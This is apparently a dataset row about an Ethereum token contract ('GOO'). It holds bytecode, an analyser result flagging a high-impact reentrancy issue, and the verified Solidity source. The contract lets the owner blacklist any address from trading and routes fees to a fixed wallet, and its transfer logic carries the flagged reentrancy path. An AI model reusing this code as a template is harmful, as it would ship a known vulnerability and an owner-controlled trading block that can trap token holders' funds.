0600019821415611c7757611c77611c4d565b5060010190565b60008219821115611c9157611c91611c4d565b500190565b600082821015611ca857611ca8611c4d565b500390565b600060208284031215611cbf57600080fd5b81516112aa81611906565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d1a5784516001600160a01b031683529383019391830191600101611cf5565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d5857634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611d7757611d77611c4d565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220114b100106bf80eff31ce5f5075e1a101c6217249c4fba9ed761352ea62d4f8464736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 6,577 |
0x28292C10F5883a0ceaAcCb985d5F10F18fD73Db3
|
/**
*Submitted for verification at Etherscan.io on 2022-04-24
*/
pragma solidity 0.8.4;
// SPDX-License-Identifier: UNLICENSED
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract GOO is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 777777777777777 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet;
string private constant _name = "Bull Market is Coming";
string private constant _symbol = "GOO";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
uint256 private _maxWalletSize = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet = payable(0x2B3904A4D45930351acd40263E1bb1b44DECD385);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 0;
_feeAddr2 = 8;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 2;
_feeAddr2 = 8;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function removeLimits() external onlyOwner{
_maxTxAmount = _tTotal;
_maxWalletSize = _tTotal;
}
function changeMaxTxAmount(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxTxAmount = _tTotal.mul(percentage).div(100);
}
function changeMaxWalletSize(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxWalletSize = _tTotal.mul(percentage).div(100);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 7777777777777 * 10**9;
_maxWalletSize = 22000000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function nonosquare(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101235760003560e01c806370a08231116100a0578063a9059cbb11610064578063a9059cbb146103a6578063b87f137a146103e3578063c3c8cd801461040c578063c9567bf914610423578063dd62ed3e1461043a5761012a565b806370a08231146102e5578063715018a614610322578063751039fc146103395780638da5cb5b1461035057806395d89b411461037b5761012a565b8063273123b7116100e7578063273123b714610228578063313ce567146102515780635932ead11461027c578063677daa57146102a55780636fc3eaec146102ce5761012a565b806306fdde031461012f578063095ea7b31461015a57806318160ddd146101975780631b3f71ae146101c257806323b872dd146101eb5761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b50610144610477565b6040516101519190612e57565b60405180910390f35b34801561016657600080fd5b50610181600480360381019061017c919061297a565b6104b4565b60405161018e9190612e3c565b60405180910390f35b3480156101a357600080fd5b506101ac6104d2565b6040516101b99190612ff9565b60405180910390f35b3480156101ce57600080fd5b506101e960048036038101906101e491906129b6565b6104e4565b005b3480156101f757600080fd5b50610212600480360381019061020d919061292b565b610634565b60405161021f9190612e3c565b60405180910390f35b34801561023457600080fd5b5061024f600480360381019061024a919061289d565b61070d565b005b34801561025d57600080fd5b506102666107fd565b604051610273919061306e565b60405180910390f35b34801561028857600080fd5b506102a3600480360381019061029e91906129f7565b610806565b005b3480156102b157600080fd5b506102cc60048036038101906102c79190612a49565b6108b8565b005b3480156102da57600080fd5b506102e3610993565b005b3480156102f157600080fd5b5061030c6004803603810190610307919061289d565b610a05565b6040516103199190612ff9565b60405180910390f35b34801561032e57600080fd5b50610337610a56565b005b34801561034557600080fd5b5061034e610ba9565b005b34801561035c57600080fd5b50610365610c62565b6040516103729190612d6e565b60405180910390f35b34801561038757600080fd5b50610390610c8b565b60405161039d9190612e57565b60405180910390f35b3480156103b257600080fd5b506103cd60048036038101906103c8919061297a565b610cc8565b6040516103da9190612e3c565b60405180910390f35b3480156103ef57600080fd5b5061040a60048036038101906104059190612a49565b610ce6565b005b34801561041857600080fd5b50610421610dc1565b005b34801561042f57600080fd5b50610438610e3b565b005b34801561044657600080fd5b50610461600480360381019061045c91906128ef565b6113ab565b60405161046e9190612ff9565b60405180910390f35b60606040518060400160405280601581526020017f42756c6c204d61726b657420697320436f6d696e670000000000000000000000815250905090565b60006104c86104c1611432565b848461143a565b6001905092915050565b600069a4b36af62d9c326b2a00905090565b6104ec611432565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610579576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161057090612f39565b60405180910390fd5b60005b8151811015610630576001600660008484815181106105c4577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806106289061330f565b91505061057c565b5050565b6000610641848484611605565b6107028461064d611432565b6106fd8560405180606001604052806028815260200161373260289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106b3611432565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c989092919063ffffffff16565b61143a565b600190509392505050565b610715611432565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107a2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161079990612f39565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61080e611432565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461089b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161089290612f39565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b6108c0611432565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461094d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161094490612f39565b60405180910390fd5b6000811161095a57600080fd5b61098a606461097c8369a4b36af62d9c326b2a00611cfc90919063ffffffff16565b611d7790919063ffffffff16565b600f8190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109d4611432565b73ffffffffffffffffffffffffffffffffffffffff16146109f457600080fd5b6000479050610a0281611dc1565b50565b6000610a4f600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e2d565b9050919050565b610a5e611432565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610aeb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ae290612f39565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610bb1611432565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c3e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c3590612f39565b60405180910390fd5b69a4b36af62d9c326b2a00600f8190555069a4b36af62d9c326b2a00601081905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600381526020017f474f4f0000000000000000000000000000000000000000000000000000000000815250905090565b6000610cdc610cd5611432565b8484611605565b6001905092915050565b610cee611432565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d7290612f39565b60405180910390fd5b60008111610d8857600080fd5b610db86064610daa8369a4b36af62d9c326b2a00611cfc90919063ffffffff16565b611d7790919063ffffffff16565b60108190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610e02611432565b73ffffffffffffffffffffffffffffffffffffffff1614610e2257600080fd5b6000610e2d30610a05565b9050610e3881611e9b565b50565b610e43611432565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ed0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ec790612f39565b60405180910390fd5b600e60149054906101000a900460ff1615610f20576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f1790612fd9565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610fb130600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1669a4b36af62d9c326b2a0061143a565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610ff757600080fd5b505afa15801561100b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061102f91906128c6565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561109157600080fd5b505afa1580156110a5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110c991906128c6565b6040518363ffffffff1660e01b81526004016110e6929190612d89565b602060405180830381600087803b15801561110057600080fd5b505af1158015611114573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061113891906128c6565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306111c130610a05565b6000806111cc610c62565b426040518863ffffffff1660e01b81526004016111ee96959493929190612ddb565b6060604051808303818588803b15801561120757600080fd5b505af115801561121b573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906112409190612a72565b5050506001600e60166101000a81548160ff0219169083151502179055506001600e60176101000a81548160ff0219169083151502179055506901a5a2598074952b2a00600f819055506904a89f54ef0121c000006010819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611355929190612db2565b602060405180830381600087803b15801561136f57600080fd5b505af1158015611383573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113a79190612a20565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114a190612fb9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561151a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161151190612ed9565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516115f89190612ff9565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611675576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161166c90612f79565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156116e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116dc90612e79565b60405180910390fd5b60008111611728576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161171f90612f59565b60405180910390fd5b6000600a819055506008600b81905550611740610c62565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156117ae575061177e610c62565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611c8857600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118575750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61186057600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561190b5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119615750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156119795750600e60179054906101000a900460ff165b15611ab757600f548111156119c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119ba90612e99565b60405180910390fd5b601054816119d084610a05565b6119da919061312f565b1115611a1b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a1290612f99565b60405180910390fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6657600080fd5b601e42611a73919061312f565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148015611b625750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611bb85750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611bce576002600a819055506008600b819055505b6000611bd930610a05565b9050600e60159054906101000a900460ff16158015611c465750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611c5e5750600e60169054906101000a900460ff165b15611c8657611c6c81611e9b565b60004790506000811115611c8457611c8347611dc1565b5b505b505b611c93838383612195565b505050565b6000838311158290611ce0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cd79190612e57565b60405180910390fd5b5060008385611cef9190613210565b9050809150509392505050565b600080831415611d0f5760009050611d71565b60008284611d1d91906131b6565b9050828482611d2c9190613185565b14611d6c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d6390612f19565b60405180910390fd5b809150505b92915050565b6000611db983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506121a5565b905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611e29573d6000803e3d6000fd5b5050565b6000600854821115611e74576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e6b90612eb9565b60405180910390fd5b6000611e7e612208565b9050611e938184611d7790919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611ef9577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611f275781602001602082028036833780820191505090505b5090503081600081518110611f65577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561200757600080fd5b505afa15801561201b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061203f91906128c6565b81600181518110612079577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506120e030600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461143a565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612144959493929190613014565b600060405180830381600087803b15801561215e57600080fd5b505af1158015612172573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b6121a0838383612233565b505050565b600080831182906121ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121e39190612e57565b60405180910390fd5b50600083856121fb9190613185565b9050809150509392505050565b60008060006122156123fe565b9150915061222c8183611d7790919063ffffffff16565b9250505090565b60008060008060008061224587612463565b9550955095509550955095506122a386600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124cb90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061233885600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461251590919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061238481612573565b61238e8483612630565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516123eb9190612ff9565b60405180910390a3505050505050505050565b60008060006008549050600069a4b36af62d9c326b2a00905061243669a4b36af62d9c326b2a00600854611d7790919063ffffffff16565b8210156124565760085469a4b36af62d9c326b2a0093509350505061245f565b81819350935050505b9091565b60008060008060008060008060006124808a600a54600b5461266a565b9250925092506000612490612208565b905060008060006124a38e878787612700565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061250d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c98565b905092915050565b6000808284612524919061312f565b905083811015612569576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161256090612ef9565b60405180910390fd5b8091505092915050565b600061257d612208565b905060006125948284611cfc90919063ffffffff16565b90506125e881600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461251590919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612645826008546124cb90919063ffffffff16565b6008819055506126608160095461251590919063ffffffff16565b6009819055505050565b6000806000806126966064612688888a611cfc90919063ffffffff16565b611d7790919063ffffffff16565b905060006126c060646126b2888b611cfc90919063ffffffff16565b611d7790919063ffffffff16565b905060006126e9826126db858c6124cb90919063ffffffff16565b6124cb90919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127198589611cfc90919063ffffffff16565b905060006127308689611cfc90919063ffffffff16565b905060006127478789611cfc90919063ffffffff16565b905060006127708261276285876124cb90919063ffffffff16565b6124cb90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061279c612797846130ae565b613089565b905080838252602082019050828560208602820111156127bb57600080fd5b60005b858110156127eb57816127d